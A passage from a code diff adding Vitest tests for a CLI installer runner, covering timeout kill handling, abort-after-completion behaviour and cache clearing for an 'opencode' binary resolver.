vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS); + expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM'); + child.emit('close', null); + expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false }); + }); + + it('an abort after the installer ended does nothing', async () => { + const kill = vi.spyOn(process, 'kill').mockImplementation(() => true); + spawnMock.mockImplementation(() => { + const child = hangingChild(); + setImmediate(() => child.emit('close', 0)); + return child; + }); + const controller = new AbortController(); + const result = await runInstallCommand('echo hello', { signal: controller.signal }); + controller.abort(); + expect(result.aborted).toBe(false); + expect(kill).not.toHaveBeenCalled(); + }); +}); + +describe('forgetResolvedCli', () => { + it('drops the per-binary caches and the per-id resolver', () => { + forgetResolvedCli('opencode', ['opencode', 'opencode-bin']); + expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']); + expect(invalidateIdSpy).toHaveBeenCalledWith('opencode'); + }); +});